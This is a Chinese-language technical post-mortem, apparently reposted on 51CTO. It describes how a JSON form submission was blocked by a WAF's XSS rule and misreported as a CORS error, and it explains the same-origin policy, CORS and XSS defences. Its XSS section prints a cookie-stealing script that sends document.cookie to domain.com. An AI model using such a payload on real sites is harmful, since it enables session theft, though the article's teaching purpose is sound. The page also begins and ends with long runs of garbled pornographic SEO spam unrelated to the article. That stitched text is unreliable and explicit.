精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

層層剖析一次 HTTP POST 請求事故

網絡 網絡管理
本文主要講述的是如何根據公司網絡架構和業(yè)務特點,鎖定正常請求被誤判為跨域的原因并解決。

作者 | vivo 互聯網服務器團隊- Wei Ling

本文主要講述的是如何根據公司網絡架構和業(yè)務特點,鎖定正常請求被誤判為跨域的原因并解決。

一、問題描述

某一個業(yè)務后臺在表單提交的時候,報跨域錯誤,具體如下圖:

從圖中可看出,報錯原因為HTTP請求發(fā)送失敗,由此,需先了解HTTP請求完整鏈路是什么。

HTTP請求一般經過3個關卡,分別為DNS、Nginx、Web服務器,具體流程如下圖:

  • 瀏覽器發(fā)送請求首先到達當地運營商DNS服務器,經過域名解析獲取請求 IP 地址
  • 瀏覽器獲取 IP 地址后,發(fā)送HTTP請求到達Nginx,由Nginx反向代理到Web服務端
  • 最后,由web服務端返回相應的資源

了解HTTP基本請求鏈路后,結合問題,進行初步調查,發(fā)現此form表單是application/json格式的post提交。同時,此業(yè)務系統采用了前后端分離的架構方式(頁面域名和后臺服務域名不同 ), 并且在Nginx已經配置跨域解決方案。基于此,我們進行分析。

二、問題排查步驟

第一步:自測定位

既然是form表單,我們采用控制變量法,嘗試對每一個字段進行修改后提交測試。在多次試驗后,鎖定表單中的moduleExport 字段的變化會導致這個問題。

考慮到moduleExport字段在業(yè)務上是一段JS代碼,我們嘗試對這段JS代碼進行刪除/修改,發(fā)現:當字段moduleExport中的這段js代碼足夠小的時候,問題消失。

基于上述發(fā)現,我們第一個猜想是:會不會是HTTP響應方的請求body大小限制導致了這個問題。

第二步:排查 HTTP 請求 body 限制

由于采用前后端分離,真實的請求是由 XXX.XXX.XXX 這個內網域名代表的服務進行響應的。而內網域名的響應鏈如下:

那么理論上,如果是HTTP請求body的限制,則可能發(fā)生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查:

首先排查LVS層。若LVS層故障,則會出現網關異常的問題,返回碼會為502。故此,通過抓包查看返回碼,從下圖可看出,返回碼為418,故而排除LVS異常的可能

其次排查Nginx 層。Nginx層的HTTP配置如下:

我們看到,在Nginx層,最大支持的HTTP請求body為50m, 而我們這次事故的form請求表單,大約在2M, 遠小于限制, 所以:不是Nginx 層HTTP請求body的限制造成的。

然后排查 Tomcat 層,查看 Tomcat 配置:

我們發(fā)現, Tomcat 對于最大post請求的size限制是-1, 語義上表示為無限制,所以: 不是 Tomcat 層HTTP請求body的限制造成的。

綜上,我們可以認為:此次問題和HTTP請求body的大小限制無關。

那么問題來了,如果不是這兩層導致的,那么還會有別的因素或者別的網絡層導致的嗎?

第三步:集思廣益

我們把相關的運維方拉到了一個群里面進行討論,討論分兩個階段

【第一階段】

運維方同學發(fā)現 Tomcat 是使用容器進行部署的,而容器和nginx層中間,存在一個容器自帶的nameserver層——ingress。我們查看ingress的相關配置后,發(fā)現其對于HTTP請求body的大小限制為3072m。排除是ingress的原因。

【第二階段】

安全方同學表示,公司為了防止XSS攻擊,會對于所有后臺請求,都進行XSS攻擊的校驗,如果校驗不通過,會報跨域錯誤。

也就是說,理論上完整的網絡層調用鏈如下圖:

并且從WAF的工作機制和問題表象上來看,很有可能是WAF層的原因。

第四步:WAF 排查

帶著上述的猜測,我們重新抓包,嘗試獲取整個HTTP請求的optrace路徑,看看是不是在WAF層被攔截了,抓包結果如下:

從抓包數據上來看,status為complete代表前端請求發(fā)送成功,返回碼為418,而optrace中的ip地址經查詢?yōu)閃AF服務器ip地址。

綜上而言,form表單中的moduleExport字段的變化很可能導致在WAF層被攔截。而出現問題的moduleExport字段內容如下:

module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
......
config: {
......
validator: function(value, callback) {
// 至少填寫一項
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填寫一項'))
}

callback()
}
}
......
}

我們進行一個字段一個字段排查后,鎖定

module.exports.items.properties.configs.config.validator字段會觸發(fā)WAF的攔截機制:請求包過WAF模塊時會對所有的攻擊規(guī)則都會進行匹配,若屬于高危風險規(guī)則,則觸發(fā)攔截動作。

三、 問題分析

整個故障的原因,是業(yè)務請求的內容觸發(fā)了WAF的XSS攻擊檢測。那么問題來了

  • 為什么需要WAF
  • 什么是XSS攻擊

在說明XSS之前,先得說清楚瀏覽器的跨域保護機制

3.1 跨域保護機制

現代瀏覽器都具備‘同源策略’,所謂同源策略,是指只有在地址的:

  • 協議名 HTTPS,HTTP
  • 域名
  • 端口名

均一樣的情況下,才允許訪問相同的cookie、localStorage或是發(fā)送Ajax請求等等。若在不同源的情況下訪問,就稱為跨域。而在日常開發(fā)中,存在合理的跨域需求,比如此次問題故障對應的系統,由于采用了前后端分離,導致頁面的域名和后臺的域名必然不相同。那么如何合理跨域便成了問題。

常見的跨域解決方案有:IFRAME, JSONP, CORS三種。

  • IFRAME 是在頁面內部生成一個IFRAME,并在IFRAME內部動態(tài)編寫JS進行提交。用到此技術的有早期的EXT框架等等。
  • JSONP 是將請求序列化成一個string,然后發(fā)起一個JS請求,帶上string。此做法需要后臺支持,并且只能使用GET請求。在當前的業(yè)內已經廢除此方案。
  • CORS 協議的應用比較廣泛,并且此次出事故的系統是采用了CORS進行前后端分離。那么,什么是CORS協議呢?

3.2 CORS協議

CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標準(官方文檔),其核心思路是:在HTTP的請求頭中設置相應的字段,瀏覽器在發(fā)現HTTP請求的相關字段被設置后,則會正常發(fā)起請求,后臺則通過對這些字段的校驗,決定此請求是否是合理的跨域請求。

CORS協議需要服務器的支持(非服務器的業(yè)務進程), 比如 Tomcat 7及其以后的版本等等。

對于開發(fā)者來說,CORS通信與同源的AJAX通信沒有差別,代碼完全一樣。瀏覽器一旦發(fā)現AJAX請求跨源,就會自動添加一些附加的頭信息,有時還會多出一次附加的請求,但用戶不會有感覺。

因此,實現CORS通信的關鍵是服務器(服務器端可判斷,讓哪些域可以請求)。只要服務器實現了CORS協議,就可以跨源通信。

雖然CORS解決了跨域問題,但引入了風險,如XSS攻擊,因此在到達服務器之前需加一層Web應用防火墻(WAF),它的作用是:過濾所有請求,當發(fā)現請求是跨域時,會對整個請求的報文進行規(guī)則匹配,如果發(fā)現規(guī)則不匹配,則直接報錯返回(類似于此次案例中的418)。

整體流程如下:

不合理的跨域請求,我們一般認為是侵略性請求,這一類的請求,我們視為XSS攻擊。那么廣義而言的XSS攻擊又是什么呢?

3.3 XSS 攻擊機制

XSS為跨站腳本攻擊(Cross-Site Scripting)的縮寫,可以將代碼注入到用戶瀏覽的網頁上,這種代碼包括 HTML 和 JavaScript。

例如有一個論壇網站,攻擊者可以在上面發(fā)布以下內容:

<script>location.href="http://domain.com/?c=" + document.cookiescript>

之后該內容可能會被渲染成以下形式:

<p><script>location.href="http://domain.com/?c=" + document.cookie</script></p>

另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 并攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態(tài),那么攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。

XSS通過偽造虛假的輸入表單騙取個人信息、顯示偽造的文章或者圖片等方式可竊取用戶的 Cookie,盜用Cookie后就可冒充用戶訪問各種系統,危害極大。

下面給出2種XSS防御機制。

3.4 XSS 防御機制

XSS防御機制主要包括以下兩點:

3.4.1 設置 Cookie 為 HTTPOnly

設置了 HTTPOnly 的 Cookie 可以防止 JavaScript 腳本調用,就無法通過 document.cookie 獲取用戶 Cookie 信息。

3.4.2 過濾特殊字符

例如將 < 轉義為&lt;,將> 轉義為&gt;,從而避免 HTML 和 Jascript 代碼的運行。

富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 < 等字符進行過濾了,極大地提高了 XSS 攻擊的可能性。

富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊,通過定義一些標簽白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。

以下例子中,form 和 script 等標簽都被轉義,而 h 和 p 等標簽將會保留。

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
<input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>

<p>123</p>

轉義后:

<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

四、問題解決

在確定問題后,讓安全團隊修改WAF的攔截規(guī)則后,問題消失。

最后,對此問題進行總結。

五、問題總結

縱覽整個排查過程,最耗費資源的工作集中于問題定位:到底是哪個模塊出現了問題。而定位模塊的最大難點在于:對于網絡全鏈路的不了解(之前并不知曉WAF層的存在)。

那么,針對類似的問題,我們后面應該如何去加速問題的解決呢?我認為有兩點需要注意:

  • 采用控制變量法, 精準定位到問題的邊界——什么時候能出現,什么時候不能出現。
  • 熟悉每一個模塊的存在,以及每一個模塊的職責邊界和風險可能。

下面來逐個解釋:

5.1 確定問題邊界

我們在一開始,確定是form表單導致的問題后,我們就逐個字段進行修改驗證,最終確定其中某個字段導致的現象。在定位到具體的問題發(fā)生地后,由將之前鎖定的字段進行拆解,逐步分析字段中每個屬性,從而最終確定XX屬性的值觸犯了WAF的規(guī)則機制。

5.2 定位模塊錯誤

在此案例中,跨域拒絕的故障主要是網絡層,那么我們就必須要摸清楚整個業(yè)務服務的網絡層次結構。然后對每一層的情況進行分析。

  • 在Nginx層,我們對配置文件進行分析
  • 在ingress層,我們對其中的配置規(guī)則進行分析
  • 在Tomcat層,我們對server.xml的屬性進行分析

總結而言,我們必須熟悉每一個模塊的職責,并且知曉如何判斷每一個模塊是否在整個鏈路中正常工作,只有基于此,我們才能將問題原因的范圍逐步縮小,從而最后獲得答案。

責任編輯:未麗燕 來源: vivo互聯網技術
相關推薦

2020-08-24 07:34:39

網絡超時請求

2025-03-11 08:48:35

JVMOOM事故

2025-02-24 12:00:00

開發(fā)SpringBootJava

2021-03-05 22:41:55

CDH集群CDH集群

2021-04-13 08:54:28

dubbo線程池事故排查

2019-01-16 09:20:42

架構設計JVM FullGC宕機事故

2022-07-11 13:58:14

數據庫業(yè)務流程系統

2020-11-16 12:35:25

線程池Java代碼

2023-01-16 14:49:00

MongoDB數據庫

2022-06-06 11:31:31

MySQL數據查詢

2022-07-12 17:03:43

鴻蒙網絡請求庫

2017-11-09 09:06:29

流量暴增優(yōu)化

2022-11-16 08:00:00

雪花算法原理

2020-09-25 07:57:42

生產事故系統

2022-09-07 09:09:13

高并發(fā)架構

2020-10-21 12:10:30

訂單號Java代碼

2023-07-28 14:32:33

QtPOST請求

2022-10-25 18:00:00

Redis事務生產事故

2022-10-10 17:52:08

CPUERP系統

2018-11-14 15:00:08

HTTP程序員前端
點贊
收藏

51CTO技術棧公眾號

欧美亚洲色图视频| 国产成人在线亚洲欧美| 中文字幕第66页| 先锋影音在线资源站91| 成人在线视频首页| 亲爱的老师9免费观看全集电视剧| 日韩人妻一区二区三区| 成人免费一区| 亚洲午夜成aⅴ人片| 欧美成人免费在线| 国产精品一区二区黑人巨大| 狠狠爱综合网| 国产一区二区三区在线看| 激情视频免费网站| 激情网站在线| 国产精品久久激情| 欧美最猛黑人xxxx黑人猛叫黄| 亚洲最大免费视频| 另类一区二区| 午夜精品在线看| 亚洲成人网上| 天堂网在线资源| 久久亚洲视频| 性欧美在线看片a免费观看| 国产无遮挡在线观看| ccyy激情综合| 在线播放欧美女士性生活| 激情深爱综合网| 在线免费av导航| 国产日产精品一区| 精品网站在线看| 99久久精品日本一区二区免费| 亚洲尤物在线| 久久久久久久久91| 黄色录像一级片| 日韩大片在线| 亚洲深夜福利在线| 人妻无码中文久久久久专区| 国产91色在线播放| 日本一区二区欧美| 亚洲性图久久| 欧美另类99xxxxx| 伊人久久久久久久久久久久久久| 久久99久久人婷婷精品综合 | 国产极品美女高潮无套嗷嗷叫酒店| 欧美日韩激情在线一区二区三区| 精品亚洲va在线va天堂资源站| 在线播放av网址| 国产亚洲高清在线观看| 欧美日韩aaa| 在线视频日韩一区| 亚洲日本在线观看视频| 日韩欧美中文第一页| 日本中文字幕亚洲| sis001亚洲原创区| 亚洲电影一区二区三区| 国产自产在线视频| free性护士videos欧美| 亚洲国产日韩一区二区| 国产爆乳无码一区二区麻豆| 中文字幕在线观看网站| 亚洲乱码精品一二三四区日韩在线| 成人手机视频在线| 1区2区在线观看| 亚洲精品国产第一综合99久久 | 欧美日韩中字一区| 午夜国产一区二区三区| 欧美美女被草| 欧美一区二区国产| 日本少妇xxxx软件| 欧美成人一区在线观看| 亚洲免费视频在线观看| 女女互磨互喷水高潮les呻吟 | fc2成人免费人成在线观看播放| 国产精品免费一区二区三区| 四虎精品在永久在线观看| 久久蜜臀精品av| 亚洲人一区二区| 中文av资源在线| 亚洲6080在线| 免费一级特黄录像| 日韩成人在线观看视频| 欧美精品一区二区久久婷婷 | 欧美精选视频在线观看| 久久伊人免费视频| 日本三级欧美三级| 蜜臀av一区二区三区| 亚洲综合视频1区| 国产又爽又黄网站亚洲视频123| 久久久久9999亚洲精品| 中文字幕中文字幕99| 草美女在线观看| 在线免费观看日韩欧美| 中文字幕乱码在线人视频| 欧美久久香蕉| 久久夜色精品国产亚洲aⅴ| 国产精久久久久久| 日本不卡一二三区黄网| 99久久自偷自偷国产精品不卡| 色久视频在线播放| 亚洲人成影院在线观看| av免费在线播放网站| 国产色99精品9i| 亚洲欧美激情在线视频| 极品盗摄国产盗摄合集| 久久久亚洲一区| 不卡一卡2卡3卡4卡精品在| 国产玉足榨精视频在线观看| 亚洲在线观看免费视频| 永久免费的av网站| 欧美绝顶高潮抽搐喷水合集| 久久在线免费观看视频| 亚洲乱码国产乱码精品| 国产精品18久久久| 先锋影音亚洲资源| 日本不卡网站| 亚洲精品在线观看视频| 99成人在线观看| 免费日韩av| 国产精品久久久久久久免费大片| 久久bbxx| 欧美日韩视频专区在线播放| av无码一区二区三区| 欧美黄色一级视频| 成人免费淫片视频软件| 高清在线观看av| 色激情天天射综合网| 一级欧美一级日韩片| 午夜激情一区| 91久久精品国产91久久性色| 第九色区av在线| 色婷婷综合久久| 毛茸茸多毛bbb毛多视频| 欧美视频二区| 亚洲最大成人免费视频| 欧美高清视频| 欧美日韩三级在线| 日本一区二区视频在线播放| 久久久蜜桃一区二区人| 久久精品日产第一区二区三区精品版| 色图在线观看| 日韩视频一区二区在线观看| 91嫩草丨国产丨精品| 久久99精品久久只有精品| 日韩成人av电影在线| 国模冰冰炮一区二区| 精品亚洲男同gayvideo网站| 国产精品suv一区二区| 国产91丝袜在线播放0| 99er在线视频| 亚洲日本视频在线| 久久久久久久国产精品视频| 女人18毛片一区二区三区| 香蕉av福利精品导航| 欧美xxxxx精品| 一区二区精品| 欧洲精品国产| 黄色成人在线观看网站| www.日韩av.com| 99热这里是精品| 一区二区三区免费网站| 亚洲精品第二页| 亚洲视频播放| 日韩.欧美.亚洲| 久久人体av| 欧美激情第一页xxx| 手机在线精品视频| 色一情一乱一乱一91av| 国产不卡在线观看视频| 91精品国产综合久久香蕉最新版 | 91在线观看地址| 欧美日韩国产一二三| 日韩精品久久一区二区| 国产不卡精品| 久久久久久久久中文字幕| 五月婷婷激情久久| 一区二区三区韩国免费中文网站| 日本免费久久高清视频| 精品视频二区| 欧美日韩成人综合在线一区二区| 国产一区二区播放| 成人aa视频在线观看| 99蜜桃臀久久久欧美精品网站| 精品国产一级毛片| 成人国产精品av| 美女91在线看| 丝袜亚洲欧美日韩综合| 午夜精品久久久久久久99热黄桃| 五月天激情综合| 任我爽在线视频| 成人永久看片免费视频天堂| 亚洲精品中文字幕无码蜜桃| 四虎成人av| 精品国产一区二区三区四区精华| 性欧美freehd18| 欧美高清视频一区二区| 国产一区二区三区福利| 日韩欧美国产综合一区 | 亚洲伊人网站| 欧美日韩亚洲国产成人| 天堂成人娱乐在线视频免费播放网站 | 亚洲精品在线影院| 欧美日韩xxx| 91亚洲欧美| 亚洲欧美精品中文字幕在线| 国产精品无码一区二区桃花视频| 欧美午夜激情小视频| 亚洲成人生活片| 欧美国产成人精品| 久久一区二区电影| 国产成人午夜高潮毛片| 网站一区二区三区| 亚洲欧美日本国产专区一区| 国产亚洲精品久久久久久久| 成久久久网站| 久久偷看各类wc女厕嘘嘘偷窃| 国产精品3区| 国产精品久久久久久久久久东京| 国产传媒av在线| 欧美多人乱p欧美4p久久| 久草免费在线| 中文字幕在线观看亚洲| 狠狠色伊人亚洲综合网站l| 亚洲精品久久在线| 国精产品一品二品国精品69xx| 在线电影国产精品| 人妻中文字幕一区二区三区| 精品日本美女福利在线观看| 久草视频在线资源| 亚洲人成在线观看一区二区| 免费成人深夜蜜桃视频| 久久先锋资源网| 国产传媒第一页| 9l国产精品久久久久麻豆| 无码人妻一区二区三区免费n鬼沢 久久久无码人妻精品无码 | 免费日韩中文字幕| 国产日本精品| 99热在线这里只有精品| 99在线观看免费视频精品观看| 国产精品一线二线三线| 亚洲精选久久| 成熟了的熟妇毛茸茸| 国产欧美在线| 麻豆av免费在线| 日韩精品每日更新| 日本黄色三级大片| 日本中文字幕一区二区有限公司| 国语对白做受xxxxx在线中国 | 亚洲免费在线播放视频| 久久精品国产网站| 亚洲天堂网2018| 国产成人自拍网| 极品白嫩少妇无套内谢| 成人一区二区三区中文字幕| 国产人成视频在线观看| 91在线云播放| 国产熟女一区二区| 国产精品久久久久久亚洲伦| 神马久久精品综合| 亚洲精品国久久99热| 日韩视频免费观看高清| 狠狠久久五月精品中文字幕| 午夜精品久久久久久久久久久久久蜜桃| 福利精品视频在线| 国产精品午夜一区二区| 欧美日韩aaa| 亚洲精品国产av| 日韩黄在线观看| av资源网站在线观看| 日韩中文字幕精品| 污污片在线免费视频| 97国产在线观看| 成人四虎影院| av资源站久久亚洲| 亚洲a级精品| 影音先锋亚洲视频| 狠狠入ady亚洲精品| 久草资源站在线观看| 麻豆精品蜜桃视频网站| 久久av一区二区三| 久久久蜜桃精品| 911国产在线| 狠狠色香婷婷久久亚洲精品| 最近中文字幕在线观看| 精品久久五月天| 国产精品ⅴa有声小说| 欧美成人精品xxx| 另类图片综合电影| 91黄色精品| 国产探花一区在线观看| 久久www视频| 丝袜a∨在线一区二区三区不卡| 午夜一级免费视频| 91丨porny丨蝌蚪视频| 男人av资源站| 欧美视频在线观看免费| 国产浮力第一页| 亚洲视频在线视频| 不卡一本毛片| 91日本视频在线| 国产一区二区精品久| 国产精品国产三级国产专区51| 久久综合影视| 亚洲自拍偷拍精品| 中文字幕五月欧美| 欧美成人一区二区三区四区| 日韩女优av电影| av免费观看一区二区| 2018日韩中文字幕| 亚洲2区在线| 夜夜爽www精品| 久久久久在线| 日本五十肥熟交尾| 亚洲黄色小说网站| 影音先锋黄色网址| 亚洲欧美变态国产另类| 日韩激情av| 亚洲最大的av网站| 日韩精品看片| 日本中文字幕高清| 2019国产精品| 91国产丝袜播放在线| 日韩视频一区二区在线观看| 日本中文字幕伦在线观看| 国产ts一区二区| 日韩成人av在线资源| 欧美久久在线观看| 国产经典欧美精品| 日韩欧美123区| 欧美精品xxxxbbbb| 午夜在线播放| 成人网页在线免费观看| 欧美hd在线| 午夜宅男在线视频| 亚洲国产精华液网站w| 波多野结衣日韩| 一本久久综合亚洲鲁鲁| 欧美色999| 色综合666| 美女视频免费一区| 美国黄色特级片| 欧美人体做爰大胆视频| а√天堂中文在线资源bt在线| 国产精品大片wwwwww| 精品免费一区二区| 国产又猛又黄的视频| 亚洲一区二区成人在线观看| 免费看成人片| 亚洲日本国产| bl动漫在线观看| 天天综合色天天综合色h| 四虎在线视频免费观看| 97婷婷涩涩精品一区| 欧美日韩一级黄色片| 日韩精品免费在线视频| 性欧美18xxxhd| 欧美精品一区二区三区在线看午夜| 亚洲专区欧美专区| 免费看污黄网站在线观看| 色八戒一区二区三区| 91涩漫在线观看| 91亚洲精品一区| 国产一区亚洲| 蜜桃精品成人影片| 在线视频欧美精品| 日韩黄色影院| 亚洲伊人久久综合| 亚洲国产一区二区三区高清| 亚洲成人av免费在线观看| 在线日韩一区二区| 麻豆视频在线免费观看| 成人av免费电影| 香蕉久久国产| av资源在线免费观看| 欧美一区二区福利视频| 阿v视频在线| 亚洲精品在线视频观看| 国产二区国产一区在线观看| 日本一区二区欧美| 中国china体内裑精亚洲片| 欧美一级片网址| 37pao成人国产永久免费视频| 国产精品乱人伦中文| 成人精品在线播放| 国产成人精品日本亚洲| 中文字幕一区二区三三| 人妻丰满熟妇av无码久久洗澡| 欧美美女网站色| 乱馆动漫1~6集在线观看| 亚洲高清视频在线观看| 成人va在线观看| 在线播放一级片| 97国产suv精品一区二区62| 97久久视频| 国产精品jizz| 日韩欧美亚洲国产精品字幕久久久 | 中文字幕欧美日韩va免费视频| 成人台湾亚洲精品一区二区 | 色综合.com| 欧美色图色综合|